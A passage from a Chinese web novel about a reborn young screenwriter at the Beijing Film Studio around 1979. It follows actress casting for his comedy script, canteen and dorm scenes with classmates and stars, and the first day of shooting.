这姑娘自幼学习舞蹈,13岁时就考进了武汉歌舞剧院,积累了一些舞台经验。 后来在一次训练时意外受伤,导致膝盖半月板撕裂,自此以后都没办法再做高难度的舞蹈动作了,所以才转学美术的。 陈强和黄玲对视一眼,都点头认可导演的意见。 这时,李健群抬起头,对几位说道:“时间有限,我看了一点,我可以试一段戏吗?” 王好为错愕片刻,问道:“你确定你可以吗?” 李健群点点头,笑道:“没问题。” “好,你要试哪段?” “排练结束后,小红在外面等嘉奇这段吧,我只看到了这里。” 这倒是巧合了。 王好为又看一眼高远,嘴角上扬,道:“高老师,辛苦您给小李搭一段儿吧。” 高远一张俊脸没来由地红了,期期艾艾道:“好,好。” 陈强笑着说:“我来念旁白。听着啊,小红和嘉奇停住脚步。” 李健群很快进入到角色中,“上次在公园,你冒着危险抢……” 高远拿起剧本也带入角色:“哦,你就是……” 李健群:“上次没有见面,走吧。” 陈强:“小红将手风琴拿下来,两人并肩前行。” 高远:“我看你心眼儿挺好。” 李健群:“为什么?” 高远:“没有你,我真不知道怎么离开那儿。” 李健群温柔注视着他:“你坐在那儿,我想了很多,在那些年里,我们究竟学了些什么?我笑不出来,只感到可悲。如果,我们的父辈,看到他们的儿女那样胡蹦乱跳,愚昧无知,会有什么样的感觉呢?” “非常希望再见到你。” “还在跳舞的时候?呵呵,再见。我……每礼拜一休息。” 高远被李健群看得小心脏跟过了电一般,激灵灵打了个哆嗦。 这眼神,没有那种很过分的柔情蜜意,却又说不出的含娇带羞。 这两者之间的尺度太难拿捏了,多一点,就是媚俗,少一些,又缺少那么点味道。 李健群拿捏得非常精准,如清风拂面,又如少女邂逅了初恋。 把高远整得心里小鹿乱撞。 王好为惊喜万分,啪地拍了下巴掌,“这就是老天爷追着喂饭吃的孩子啊,健群啊,你天生就是吃艺术表演这碗饭的,你表现得太棒了,出乎我意料的好。” 陈强也面露笑容,称赞道:“表情生动,平实的语气中带着一丝轻灵。更难得的是,你塑造的人物不张扬,有种含蓄的美感,最后这点尤为难得!” 黄玲笑呵呵问道:“小李,你之前学习过表演吗?” 李健群摇摇头,“没有专门学过,但我在歌舞剧院那会儿经历过业余培训。” “难怪!这个演技足够用了,你说呢,导演。”黄玲扭头问王好为。 李健群和高远也满脸期待注视着王导。 王好为向李健群伸出手,笑着说:“欢迎健群加入剧组。” 李健群忙握住王好为的手,激动道:“感谢导演给我这个机会。” “你先别忙着感谢我,我直说,还有一个姑娘跟你竞争这个角色,能不能获得出演小红一角的机会,还要看接下来你的努力程度。” “我会努力争取的。” “先给你提个要求。” “您说。” “给你三天时间,熟读整个剧本,揣摩小红这个人物,遇到搞不明白的故事情节,问我,问小高老师都行。” 李健群点点头,说道:“我明白了,谢谢导演,谢谢老师们。” 见她两手空空,王好为问道:“没带换洗衣物来吗?” 李健群赧然一笑,说:“因为不敢打包票能留下来,所以就……不过我带钱来了,衣服可以去商场买。” 高远问了句,“我听说你会做衣服啊?” 李健群一乐,说道:“高老师指定听岔了,我不会做衣服,我只会画衣服。” “别别别,喊我小高就行,可别叫我老师,担不起啊担不起。”高远摆着手,像只被踩了尾巴的猫。 高远知道,李健群很牛的。 电视剧《唐明皇》很多60后、70后、80后都看过,这部剧里面的服装设计师就是李健群。 她一共为剧集设计了9000多套服装。 后来很多影视剧中唐朝服装的设计,都是以《唐明皇》的服装为蓝本的。 更牛的是,大会堂甘肃厅的壁画《沃土》《宝藏》,也是她和坦克老兄联手创作的。 “嘿嘿,我瞧着你这身打扮就透着十足的时尚感,自个儿搭配的吧?”高远问道。 李健群脸一红,谦虚道:“就胡乱搭配了一下。” “黑色高领毛衣,黑色翻领羊绒外套,藕荷色条绒长裤,搭配一双坡跟小羊皮皮靴,这可不是胡搭乱配能呈现出来的效果,您的服装设计水准是这份儿的。”高远挑起大拇指,由衷地夸赞道。 李健群温婉一笑,被他夸得有点不好意思了,望向他的目光中也水盈盈一片,大有遇到知己的赶脚。 高远趁热打铁,对王好为说道:“导演,咱们这部影片中要用到的服装也不老少,现在放着这么个大设计师不用,是不是有点人才浪费了呀。” 王好为翻个白眼儿,说道:“你小子还真懂得人尽其才啊,这我可做不了主,得问问健群自己的意思。健群,你愿意加入我们剧组的服装设计小组吗?” 能把演戏和服装设计这两件她最专注的事情结合在一起实现,李健群当然愿意了。 她点着头说:“我没问题的,只要导演不嫌弃我画工差就行。” 王好为拍了板:“那就这么定下来吧。时间也不早了,小孙,你给健群安排个房间,让健群先去休息。” 小孙微笑着说好。 李健群站起身,又冲几人鞠了一躬,临出门前看了高远一眼,拿着剧本出门了。 第51章 小庆姐的小心思 周日这天,随着陈佩斯、刘钊、刘国权等人入住招待所,演员名单终于被确定下来一部分。 陈佩斯是当仁不让的男一号。 他爹演他爹。 黄玲演他妈。 刘小庆饰演张岚。 嘉英这个人物在王好为的坚持下还是选择让张金玲来演。 导演跟高远交流时说:“刘冬表现得是不错,但年龄小了些,演不出长姐如母、勤俭持家的感觉来。” 高远还能说什么呢,再固执己见下去,就把导演给得罪了。 他只能感慨这年头儿,编剧的话语权还是太低了,导演负责制才是影视业的主流现象。 周里京和许亚军也不出意外地被淘汰出局。 郁林的表演者是汪用桓,大阮是董子武。 其他像什么老齐、老病号、统计员、郁林妈、田秀等角色各有归属,且都是北影厂内部消化。 高远也能想得开,他只要确保小红这个角色不落入她人手就心满意足了。 但女主角偏偏又是最难确定下来的。 李健群倒是高效,仅用了两天时间就把剧本读熟了,还写了人物小传,把对小红这个人物的性格、语言表达方式写下来,遇到不确定的方面就去找高远请教。 高远问过她:“你为什么不去找导演?” 姑娘爽利地说道:“因为人物是你塑造的,没人比你这位编剧更懂这个人物了。” 好有道理啊。 高远老怀大慰,心花怒放,每顿饭都能多吃俩馒头。 也有让高远无语的事儿。 这年头儿,制作一部电影的效率真是太低下了,从写剧本到定稿,再到建组开始筹备、选角等等事情都得翻来覆去的开会研究。 你可以说这是导演对电影艺术一丝不苟的追求,但在高远看来,其实真的没必要事事较真。 但他也没办法提意见,70年代末,人们都很认真。 为了躲会,高远干脆回学校上课。 这你们总说不出别的来吧,我还是个学生啊。 但今天他躲不了了,周末学校也不上课。 他抱着本子,低头走出会议室,到了食堂门口,迎面遇到笑嘻嘻的陈小二,他也乐了,凑过去低声道:“还是二子哥厉害啊,这么重要的会议,居然被你躲开了。” 这天有点倒春寒,陈小二裹着件军大衣,两只手缩在袖子里,边跺脚边吸凉气儿,“冻死我了,早知道外面这么冷,我还不如在温暖如春的会议室里老实开会呢。” 瞧他冻得跟三孙子似的,高远哈哈大笑。 陈佩斯搂着他的脖子说道:“你小子也不是个好东西,幸灾乐祸是吧。那啥,导演又布置啥任务了?” 高远挣吧开,边走边说:“布置的可多了,导演让老爷子给你带个话,让你抓紧时间跟两位女主角备选的同志熟悉起来,对对词儿找找感觉,别等到正式开拍你还没跟两位女同志打成一片,到时候就干瞪眼了,导演也饶不了你。” 陈佩斯这会儿反倒扭捏了,老脸一红,道:“我这不是琢磨着,女主角还没定下来么,贸贸然去跟两位女同志对词儿,会不会显得轻浮了些。” 哟,您还知道轻浮呢。 高远又乐了,“少来,我看您分明是不敢跟她俩打招呼。” “我有什么不敢的?我胆子大着呢。” “瞧见了没,方舒就坐在靠窗户的空座上,您真大胆,过去跟人家问个好啊。” “去就去,我还怕了她不成。”陈佩斯昂首挺胸地走了过去。 高远捂着肚子乐的直抽抽,他差不多能预见到,二子哥大概率会碰一鼻子灰。 梁晓声打了饭过来,拍了拍他的肩膀,问道:“笑啥呢呲个大牙?” 高远一努嘴,低声道:“有好戏看,二子哥去跟方舒套近乎了,你猜,结果会如何?” “你小子,又给二子下套。” 他往那边瞧了瞧,陈小二已经跟方舒搭上话了,俩人聊得还挺愉快,也不知道他说了些啥,方舒笑得花枝乱颤。 “失算了吧,二子交际有一套的我跟你说。”梁晓声笑着说道。 “没劲,走了走了,打饭去。” 高远郁闷了,走到窗口前,见今天中午居然有烤鸭,他又来劲了,让大师傅给他切一只,还提要求,必须得是108片荷叶片。 大师傅让他滚。 把排在他身后的汪阳给笑得差点没趴下。 高远回头一瞧,“哟,厂长好。” 汪阳打量着他,眉开眼笑道:“大才子吃饭挺讲究啊,平日里没少下大馆子吧?” “您抬举了,大馆子我可下不起,我也是听别人说起来的,吃烤鸭有讲究,什么108片荷叶片啊,小饼攥紧了松开后能回弹的才叫好饼之类的,今儿我这臭显摆了一下,让您老见笑了。”高远脸色红温。 汪阳笑道:“你说的也没错,吃烤鸭是挺有讲究的,我也没笑话你的意思,等回头吧,等你们这部电影拍摄完,老头子请你去便宜坊吃烤鸭去。” “别别别,我请您,我请您。” “甭跟我瞎客气,你要是再写一个好剧本,我天天请你吃烤鸭都没问题。” 高远明白过来,老厂长这是向他释放出长期合作的善意。 他点点头,笑道:“您放心,我是咱Bj孩子啊,胳膊肘子肯定不会往外拐的。” 汪阳拍拍他的肩膀,笑了笑,大声对大师傅说道:“老周,把鸭子弄得精细点儿,别让咱们大才子小瞧了你的手艺。” 周师傅咧嘴一笑,“得嘞,厂长都发话了,我今儿就露露绝活,给咱们小高老师片它108片荷叶片。” 油汪汪亮晶晶的烤鸭皮被端上了桌,还有一道鸭架子熬白菜,高远自个儿肯定吃不完。 于是,梁晓声、陈小二、李健群、刘小庆等人都凑了过来大快朵颐。 刘小庆对李健群说道:“健群,你设计的那件黄颜色的碎花长裙可太漂亮了,你怎么琢磨出来的?” 李健群尽管脸上挂着笑,但似乎对她似乎不太感冒,敷衍道:“参考了几本杂志,就琢磨出来了呗。” “那件裙子是给谁设计的呀?” “给你。” “哎呀,那我可太感谢你了。你瞧瞧我们现在穿的这些衣服,不是工装蓝就是军装绿,穿件稍微花哨一点的,就会被人说成是向资产阶级思想靠拢。 不像你,到底是明珠市过来的,这衣服搭配得太精致了。” “你这衣服也好看。” “嘿嘿,谢谢你啊,我知道你故意夸我呢。” 高远和梁晓声对视一眼,无声地笑了。 这个刘小庆,心眼儿还不少,有些话不方便直接问,就拐弯抹角地套李健群的话。 吃过午饭后,高远回到招待所403,刚躺下准备休息一会儿,门被人敲响了。 他复又起身,走过去开了门,一瞧,杨迎明、梁左、陈建功、査建英、王晓萍、黄蓓佳,还有个不认识的女同学挤在门外。 “哟,你们怎么过来啦?快请进快请进。” 杨迎明边走边说:“大家伙儿担心你被资产阶级思想腐蚀了,专门过来给你提个醒。” 陈建功跟上说:“也怕你被美色迷昏了头脑,过来给你上上课,让你时刻保持清醒的头脑。” 高远咧嘴一笑,也不点破这二位的说辞,心说我信了你个鬼,你们几个分明是来看明星的。 同学们走进房间,打量了一下。 査建英撇着嘴说:“面积也不大啊。” 高远请他们几个落座,笑道:“十几个平方吧,我这待遇还算好的,能享受到单人单间,其他演职人员都是两人一屋,服化道部门的人更惨,四个人挤一间屋。” 三个男生坐了沙发,女生们也不见外,肩并肩坐在高远床上。 “你们怎么进来的?”高远给他们倒茶,好奇地问道。 老佟今儿发善心了? 梁左指了指胸前的校徽,骄傲道:“这就相当于出入证。” 高远乐了,这个年代的高校校徽确实是硬通货,尤其是清、北两家名校的校徽,只要你别去有武警站岗的地方故意找茬,一般单位畅行无阻。 “高远你好,咱俩第一次见面,我不请自来,请你见谅啊。”那个不认识的女同学微微一笑。 “你好你好,我差不多能猜到你是谁了。”高远也笑着说。 女同学眨眨眼睛,笑道:“那你猜猜呗。” “刘学红同学。” “嘿嘿,你猜对了。” “你瞧他装神弄鬼的,他怎么可能猜不对啊,咱班49个人,他没见过的只剩你一个了。”査建英说道。 刘学红挠头一笑,“这也怨不得我啊,我不想按照规定时间来学校报到么。” 高远一听,这里面有故事啊,立刻问道:“发生什么特殊情况了吗?” 刘学红叹息一声,“别提了,我险些和北大中文系失之交臂。都怪我插队那个村子的大队书记,他太马虎了,收到我的录取通知书后,他往抽屉里一锁就去忙自己的事儿了,后来就把这茬事儿给忘到脑袋后面去了。 前阵子我回城,到家后我爸问我,《人民x报》上刊登的作文是你写的吧? 我都懵了,什么《人民x报》,哪篇作文啊? 他拿给我看了后我才后知后觉,我大概率考上大学了,然后疯了一般蹬着自行车回了密云,找到支书一问…… 支书说,好像是有那么封信,不好意思啊红,我把这事给忘了。 我的个天爷啊,气得我差点没忍住暴脾气,险些抬脚踹他一溜跟头。” 大家笑的都没样儿了。 第52章 健群姐送的礼物 高远听着刘学红的话,也乐了,他看得出来,这姑娘跟小查是一个类型的,心直口快,有点二儿。 “对了,你们吃饭没有?”高远问道。 小查从床上跳下来,往沙发扶手上一坐,说道:“没呢,老听你说北影厂的伙食如何如何好,我们几个本打算来混你一顿的,看你这样子,是吃饱了?” “想混饭吃,你们也早点来啊,这都几点了,食堂里早就没饭菜了。” 査建英四下里一看,这间不大的屋子里锅碗瓢盆,菜墩子切菜刀非常齐全,三抽桌上还放着个三角牌电饭锅,惊奇地问道:“高远儿你自个儿开火啊?” 高远点点头,“晚上写东西饿了,就会煮碗面吃。” 査建英把手搭在他肩膀上,挑着英气的秀眉笑嘻嘻说道:“给大家伙儿煮面条吃呗。” 其他几位对小查这个提议也深表赞同。 高远翻个白眼儿,说道:“面条在抽屉里,鸡蛋在面条旁边隔着,还有点榨菜,想吃你们自己动手吧。” “懒到家了你!”査建英戳他脑门儿一下,起身,招呼道:“姐妹们,伟大领袖教导我们说,自己动手丰衣足食,为了不饿肚子,大家操练起来吧。” “好!” “没问题!” 三位女同学也从床上下来了,积极影响小查的号召,嘻嘻哈哈投入到洗手煮面条的大业中。 “哇,高远你居然藏私,这是什么?红烧肉罐头!这个呢?午餐肉罐头!”黄蓓佳拉开抽屉后往里面看了一眼,立马大呼小叫着往桌子上倒腾东西。 王晓萍也凑了过来,一瞧,“嚯,还有黄桃罐头,山楂罐头,高老师好东西不少啊。” 刘学红笑逐颜开,“这下有口福了。” “扔瓶罐头过来,起开我给大家分一分。”陈建功笑着说道。 嗖地一声,一瓶黄桃罐头呈抛物线状飞了过来。 陈建功一伸手,稳稳接住,问高远道:“有平口螺丝刀没?” “费那个劲,给我吧。”杨迎明接过去,将瓶子倒过来,在瓶底狠狠拍了几下,又正过来,往瓶盖上垫了个抹布,左手把住瓶身,右手用力一转。 砰地一声,起开了。 黄桃的清香在房间里弥漫开来。 梁左是个有眼力见儿的,他拿过来几个小碗,用勺子给大家分了几块,先给女生送过去,然后才回来端着小碗细嚼慢咽。 “我说你小子从哪儿淘换来这些好东西啊?”杨迎明边吃边问高远道。 “北影厂发的呗,说是照顾编剧给的福利,我听说是通过关系从友谊商店买来的,罐头不是,罐头是我从家里带来的,我爸单位上发的。” 高远实话实说,也没必要隐瞒。 这年头儿,肉罐头是对外出售的,但不好买,供销社进一批,眨眼就被老百姓们抢光了。 更况且他这几盒肉罐头属于出口产品,承担着为国家挣外汇赚外国人钱的艰巨任务。 1978年,国家的外汇储备只有1.67亿美元,出口创汇,是整个国家的重任。 汪阳厂长是出了名的爱才领导干部,为了笼络高远,老厂长也是使出了浑身解数。 他听说高远经常在房间里自己做饭吃后,为让这小子吃好一点,动用了关系也才从友谊商店搞到了几盒肉罐头。 高远对老厂长的关怀感念至深。 这也是今天中午老厂长含蓄地表示要加强合作后,他爽快答应下来的主要原因。 陈建功喝了口汤,一抹嘴换了个话题,“那位梁同志送过去的两本《电影创作》杂志在学校里风靡了,不仅老师们都抢着看,各个系的同学们也去找叶叔借阅。 大家对你创作的《瞧这一家子》的评价呈现出两极分化状态。 75、76级的工农兵学员评价你写的这个剧本荒诞有余深度不足,幽默与深刻结合的不到位,对一些社会丑恶现象的揭露也不彻底,根本就是凭空捏造出来的故事。 咱班同学听说后立马不干了,叶叔和老颜义愤填膺,刚准备带领大家去跟那些个只会搞斗争,高小都没毕业的家伙们理论一番时,被南老和赵老师拦住了。 南老说,他会出面解决这件事情,让我们不要冲动。 大家伙儿这才冷静下来,要不然,就算打不起来,引发一场大辩论也是在所难免的。” 杨迎明也放下了小碗,声音低沉道:“南老对你的爱护让大家伙儿都深感嫉妒啊,老先生一出面,所有质疑声瞬间消失。 我听说老先生为了保全你的声誉,亲自找了几个工农兵学员谈话。 那几个挑头的工农兵学员,一进南老的办公室就差点儿给老先生跪了。” 高远苦笑着说道:“不论是小说,还是剧本,引发争议和讨论都是很正常的事情,毕竟人和人之间的思想是有差距的,这点我有心理准备。 我只是没想到,这事儿还把先生给惊动了,这可让我羞愧地无地自容了,师恩深重啊。 你们也是,我写的这个故事有争议让他们争论去就得了,真没必要冲冠一怒就要去和他们辩个高下。” “话不能这么说,你是咱们班第一个创作的剧本被电影厂看中的,从某种意义上说,你代表的不仅仅是个人,代表的是全班的荣誉,甚至是整个77级文学专业的荣誉。 咱班自己人必须得拿个态度出来,否则就太让人小瞧了。” 黄蓓佳端着两碗面条走过来,放下后神情严肃地说道。 高远冲几位拱拱手,情真意切道:“感谢哥哥姐姐们的鼎力支持,这份情谊我记在心里了,哥哥姐姐们看我以后表现的吧。” 査建英也端过来两碗面条,笑嘻嘻说道:“不光我们支持你,我听说经济系那个叫乔珊的姑娘为了给你正名,上完课后跟同班同学拍了桌子,把全班同学都给镇住了。 高远儿,乔珊是不是你对象啊?” 一听这话,几位都围了过来,望着高远笑得一个比一个鸡贼且八卦。 乔珊为了给自己这部作品正名,居然跟同学拍了桌子? 高远先是惊讶了一下,又无奈地叹了声气,说道:“你们可别瞎胡猜啊,我向教员他老人家发誓,我和乔珊同学无比纯洁,硬要说我俩有什么关系的话…… 实话告诉你们吧,我俩是高中同学,是革命战友。” 小查嘁了一声,“你当我们眼瞎呢,你当人家是高中同学,是革命战友,人家对你的好感却不加掩饰。” 王晓萍笑道:“没错儿,前两天你没去上课,乔珊同学去班里找过你好几次,还跟我打听过你在哪儿,在干什么?” 高远急忙问道:“你怎么回答的?” 王晓萍狡黠笑道:“实话实说呗,我跟她说,你在北影厂剧组呢,至于干什么,那我就不知道了。” 高远捂着脑门儿做痛心疾首状,“姐啊,你可真能给我添乱。” 对乔珊那个姑娘的性格特点,高远特别了解。 说穿了,乔珊就是个轴破苍穹的女生,她认准的事情,九头牛都拉不回来。 高远能猜到乔珊为什么转变了对自己的看法。 原因无非有那么两点,首先是高考成绩,刚报到那天,这姑娘在大饭厅刻意地靠近,已经让高远咂摸出她对自己态度上那点小小的改变。 其次嘛,怕是和自己创作的这个剧本密切相关。 高远有点害怕了,轴姑娘一旦认了死理儿,不撞南墙是不会回头的。 这辈子高远都没打算再跟乔珊产生任何交集。 王晓萍嘿嘿笑道:“逗你呢,你还当真了,她是问过我,但我跟她说,我和高老师不熟,不知道他去干啥了,你去问问别人吧。” 高远松了口气。 黄蓓佳笑靥如花道:“不过大家都能看得出来,那姑娘对你挺上心的。” 高远耸耸肩,态度鲜明地说道:“哥是她这辈子都别想得到的男人。” “咦……”大家发出鄙夷的嘲笑声。 李健群不请自来,见屋里人头攒动,几位学生模样的青年男女端着碗大口吃面,茶几上还摆着几个打开的肉罐头,李健群怔了一下,轻声问高远道:“高老师,打扰到你们了吧?” 高远忙起身,迎上前笑道:“没有没有,都是我同班同学,过来看望我的。健群姐快请进。” “我也没有特别重要的事情,就不进去了,就是,就是给你做了件夹克衫,略表谢意,偌,送你了。”李健群俏脸一红,这才把藏在身后的夹克衫拿出来,塞到高远手中,然后转身跑了。 略表谢意? 看着这件藏青色的夹克衫,样式跟后世的行政夹克一般无二,高远心里美得跟吃了蜜蜂屎似的。 他懂姐姐的心思,大姐姐这是感谢自己向导演推荐了她呢。 这件夹克一定是大姐姐亲自设计,然后买了布料找裁缝店进行加工的。 难怪前几天她过来请教问题的时候,偷偷比量自己的上衣尺寸,敢情是为了给自己准备礼物呀。 哎呀,这份礼物送的可太合自己的心意了。 摸着精细的面料,高远此刻感觉自己整个人都飘飘欲仙了。 “高老师,那姐姐是谁啊?是你们剧组的演员吗?”黄蓓佳笑着问道。 第53章 终于开始拍摄了 “是的,她叫李健群,不出意外的话,应该会在《瞧这一家子》中饰演小红。”高远笑着回答。 “她好漂亮啊,尤其唇角那颗美人痣,一笑,太生动了。”黄蓓佳说道。 “高远儿,那大姐姐不会看上你了吧?”小查咔咔眨眼。 是我看上她了啊,高远心说。 “没有的事儿。”他嘴上肯定否认。 “那人家怎么给你送礼物啊,送的还是衣服。要知道,姑娘给小伙儿送衣服,意义可不一样。” “你想多了,她是我推荐进组的,再说人家不仅是演员,还是上戏舞美专业的高材生,学服装设计的,给我送件衣服当礼物,只是为了表达一下谢意。” 小查摸着下巴颏喃喃自语道:“不对劲。” 高远走进屋,把夹克放进储物柜里,转过身对几位说道:“你们不是来看明星的吗,走吧,我带你们去跟几个明星认识一下。” 他这么一打岔,几位也就没再纠结李健群跟高远究竟是什么关系,起身跟在他身后向外面走去。 高远带着他们先去了刘小庆房间。 刘小庆已经成名,同学们鲜有未看过她出演过的电影的。 见到真人,査建英、王晓萍、黄蓓佳和刘学红大呼小叫,高兴的不得了。 听高远说这几位是他的同班同学,大家都很崇拜刘老师,所以我就带她们过来跟您见个面,满足一下同学们的好奇心。 刘小庆也眉开眼笑起来,拉着几位女生的手说着些感谢大家的喜爱,我会继续努力,争取塑造出更多让大家喜欢的角色来巴拉巴拉。 反倒是杨迎明、陈建功表现得比较淡然。 陈建功反而对和刘小庆同屋的张金玲产生了兴趣。 他走到张金玲面前,笑着做自我介绍,然后就跟人家聊了起来。 至于说梁左,他是家学渊源,别说女明星了,男明星他也不稀罕。 这年头儿还不流行跟明星们合影要签名,四个女生跟刘小庆聊了一会儿后就礼貌地告辞了。 高远对几位的分寸感表示赞赏,又带着几位去拜访了陈强老师、黄玲老师、刘钊老师等几位老前辈。 一圈转下来,都快下午三点钟了。 心满意足的同学们挥别了高远,打道回校。 三月底的时候,天气逐渐升温了。 春回大地,柳树发了新芽。 筹备了一个多月的电影终于进入到了正式拍摄阶段。 昨天晚上,王好为把方舒喊到自己房间,向她说明,最终确定的女主人选是李健群。 姑娘的眼泪唰的一下就夺眶而出。 她自然知道李健群是她最直接的竞争对手的,这段时间以来,除了刻苦钻研台词,寻找人物感觉之外,她刻意拉开了跟李健群之间的距离。 两人基本零交流。 方舒看不惯李健群,觉得这姑娘很有心机,没事儿就往编剧屋里跑,打着请教问题的幌子故意诱惑小高老师,为获得出演女主角的成功率增添砝码。 呸! 女妖精! 臭不要脸! 当然,她也没闲着。 你李健群不是爱找编剧进行交流嘛,那我方舒就去找导演当面探讨。 我还拉着二子哥一起对词儿。 不到女主角揭晓的最后一刻,鹿死谁手还尚未可知呢。 先让你得意几天吧。 昨天晚上,女主角的人选千呼万唤始出来。 方舒尽管愤愤不平潸然泪下,但骄傲的性格让她做不出一哭二闹三上吊这等事情来。 抹了把泪,当天晚上她就离开了招待所。 第二天开机前,王好为看向高远的眼神儿那叫一个幽怨,还夹杂着三分埋怨。 高远自然是清楚昨晚发生了什么事情的,包括方舒搞的那些小动作他也全都看在了眼里。 他之所以没点破,是觉得没那个必要。 娱乐圈里的乱象他见多了,后世中,那些还没成名成星的女演员为了达到一炮而红的目的,哪个不是睡完导演睡摄像,睡完摄像睡灯光。 连道具师、剧务她们也敢睡。 相比于那些人,方舒搞得这点小动作,在高远看来实在是不入流。 他也知道,导演是打内心里喜欢方舒的,也认可方舒的演技,就这么让方舒走了,导演心有不甘也能理解。 没瞧见导演看自己的眼神中带着刀子么。 高远乐了,晃荡到王好为身边,嬉皮笑脸道:“那个啥,回头我再写一部剧,还请您来导,到时候选谁不选谁,您说了算还不成么。” 王好为噗嗤笑了,剜他一眼后叹声气,说:“你啊,少来讨好我。我就是觉得那孩子挺可惜的,但是两相对比之下,健群对角色的把握更让我放心。 算了,决定是我做出来的,她家里人有什么不满,冲我来就行。” 高远挽着王好为的胳膊,低声道:“您不用担心她家人会过来找麻烦,她们没那么大胆子。” 王好为一怔,用眼神询问高远。 高远笑笑,故作神秘的没解释什么。 “嗨,小子,把你的爪子从我老婆胳膊里抽出来,占便宜没够是吧?” 李晨声一句话,把大家逗得开怀大笑。 “对不起啊李哥,忘记你也在了。” “嘿,听你这意思,我不在你就能光明正大的占便宜了是吧?故意破坏我们夫妻之间的感情,小高你有点欠揍啊。” 王好为急忙喊停,“没完了是吧?多大岁数了你还跟高远计较这些有的没的,赶紧干活!” 李晨声一缩脖子,乖巧地说道:“好的。” 众人又乐了起来。 王好为又检查了一遍设备,往监视器后面一坐,这才喊道:“各部门注意,不要开机,先走一遍。演员请就位,预备,开始。” 这年头胶片贵,导演都省着用,正式开拍前演员都要走几遍戏,达到标准后才会进入正式拍摄阶段。 今天这第一场戏讲的是胡嘉奇在呼呼大睡,老胡和胡婶进了他房间起争执的一个片段。 楼房是借的,北影厂干部楼,三室一厅的格局。 道具师用了心,雪白的墙面上挂着座钟、一把吉他、一个风筝和几张海报,老式木头床,床边立着个床头柜,床头柜上摆着个闹铃和一把鸡毛掸子。 另有挂衣架、三抽桌、木头椅子、双开门带镜子的立柜等物件。 陈小二穿个白色跨栏背心,一条蓝裤子,肚子上搭一条红底儿白花儿的毛巾,兢兢业业躺在床上,闭着眼,被发出低沉的鼾声。 陈老师粗暴地推开门,两个大步闯进来,一看儿子这德行,抬手就要往他屁股上招呼。 “不像话!” 黄玲立马拦住,把人往外边推。 “哎呀,你快出去……又不上班,让孩子多睡一会儿。” “你瞧楼上楼下,哪个像他?” “得了,在家里就别耍威风了。” “耍威风怎么了?我是他老子,有管他的责任。” “哎哪儿去?” “厂子。” “你们爷儿俩倒是一对,礼拜天不去转悠,机器就变样了?哼!” “咱是干部,就要干字当头,不能让人倒着叫咱不干。” 王好为一拍巴掌,笑逐颜开:“好!两位老师辛苦了,一遍过。老同志就是老同志啊,台词流畅自然,演技浑然天成,有您几位坐镇,我心里彻底踏实了。” 高远全程旁观,也对二位老师的精彩表演竖起了大拇指。 有些人总是觉得老一辈艺术家们的演技很普通,那是个巨大的误解。 老一辈电影人只是受限于影片类型和人物性格的单一,才会给观众留下这么个固有印象。 比如说,好人就是好人,坏蛋就是坏蛋,汉奸就是汉奸,鬼子就是鬼子。 人物形象都是被固定下来的,想转型就特别困难了。 你让陈佩斯去演正面角色,他穿上军装也是个汉奸。 其实不然,就拿陈老师打比方吧,他在出演喜剧片之前,塑造的两大地主恶霸黄世仁和南霸天深入人心,那是能够用来在半夜里吓唬啼哭不止的孩子的丰碑反面形象。 按理说,这种形象已经定型了吧,但他自打跟佩斯拍摄了几部喜剧片后,你就会发现,诶,这个小老头儿居然还有如此可爱的一面。 和他之前出演过的人物形象大相径庭。 陈强乐呵呵说道:“导演捧了,因为准备的周期长,所以演起来就得心应手。还有就是,小高的台词写得好,口语化的台词可不就朗朗上口么。” 黄玲也说道:“我演了这么多年戏了,头一次觉着演起来很放松,这都是得益于小高的台词写得精妙。” 高远忙冲二位前辈谦虚道:“老师们过奖了,还是您二位经验丰富,表演功力深厚的缘故。” 几人都笑了起来。 陈佩斯这时候问道:“我能坐起来了吗?” 王好为一笑,说:“再坚持坚持吧,拍完这个片段先。各部门注意来,下面正式开拍,各就各位……1、2、3,开始!” 陈老师和黄老师立刻进入到拍摄状态中,又是一遍过。 实话说,这个拍摄进程有些出乎高远的预料。 他上辈子看过一些影视作品拍摄方面的资料,知道在这个年代中拍电影进展普遍都很慢。 一个剧组就一台摄像机,导演对艺术又有着孜孜不倦的追求。 有时候,一天只拍一个镜头都司空见惯。 今天这个效率,着实让高远感到惊喜了。 但这份惊喜还没散去,到了陈小二的戏份时,他卡壳了。 “二子,你怎么回事?听到楼底下有人喊你,你第一反应不是打哈欠,而是赶紧下床去看看谁在叫你,你打哈欠流眼泪的,故意给自己加戏呢!”王好为腾就站起来了,毫不留面子地训斥陈佩斯道。 第54章 郁闷、落寞陈佩斯 高远哈哈大笑,又想起了老茂指着他的鼻子横眉立目、义正言辞:“你这是抢戏!是搅戏!” 被导演戳了肋条骨,陈佩斯两眼一眯,尴尬一笑,说:“不好意思啊王导,再来一遍,再来一遍。” 他心里门儿清,自个儿是有这些毛病的,在表演过程中总喜欢添加一些自认为能够升华整个故事实际上没什么卵用的东西。 王好为看看陈强,见老爷子冲自己微微点头,便也清楚了老爷子的态度,老爷子这是让自己对二子高标准严要求呢。 心领神会地对老爷子笑笑,王好为扭头又严肃起来,“我告诉你陈小二,你甭跟我这儿嬉皮笑脸的,态度给我端正起来,能演演,不能演,优子还在后面排队呢,别以为离了你我这电影就拍不成了。” 陈佩斯闻言,立马老实了,点头哈腰地说道:“您放心,我一定好好演,一定好好演。” 优子可太可怕了,那厮在乡下喂了好几年猪,形销骨立的,看上去就透着那么一股子冷幽默的范儿。 楼下有人在喊:嘉奇,嘉奇,嘉奇! 陈佩斯这次行动迅速了,一翻身从床上蹦下来,跑到窗户前往下一看,嘴里诶诶个不停,说着来了来了。 然后开始翻箱倒柜,穿衬衣,又去床头上找裤子穿上,慌忙出了门。 后面就是他跟胡婶那段对话。 整体看来,表现得还行。 李健群和刘小庆摸到高远身边。 刘小庆捂着嘴傻乐呵,目光盯住陈佩斯,调笑道:“二子哥腿毛真茂密。” 高远震惊,心说不愧你是啊,别人都在关注演员们演技的时候,你的关注点居然是演员的腿毛。 无敌了! “刘老师视角真独特。”高远暗戳戳夸奖了一句。 刘小庆脸一红,含娇带嗔轻轻打了他一下,顺便冲他飞了个媚眼儿,风情万种道:“讨厌!” 高远赶紧跟她拉开了一点距离,惹不起啊惹不起。 我可不想拍个戏再闹出什么绯闻来。 惊闻!知名女星刘小庆在拍摄现场和著名编剧高远当众打情骂俏! 王立大闹片场,势要和破坏自己家庭的编剧高远同归于尽! 要了命了! 李健群瞧着他乐,伸手拽他一下,轻声说:“你过来,我问你件事儿。” 这算是给高远解了围。 高远呼地吐出一口气,跟随李健群走到个没人关注的角落里,嘿嘿笑着说道:“有什么事儿,姐姐问吧。” 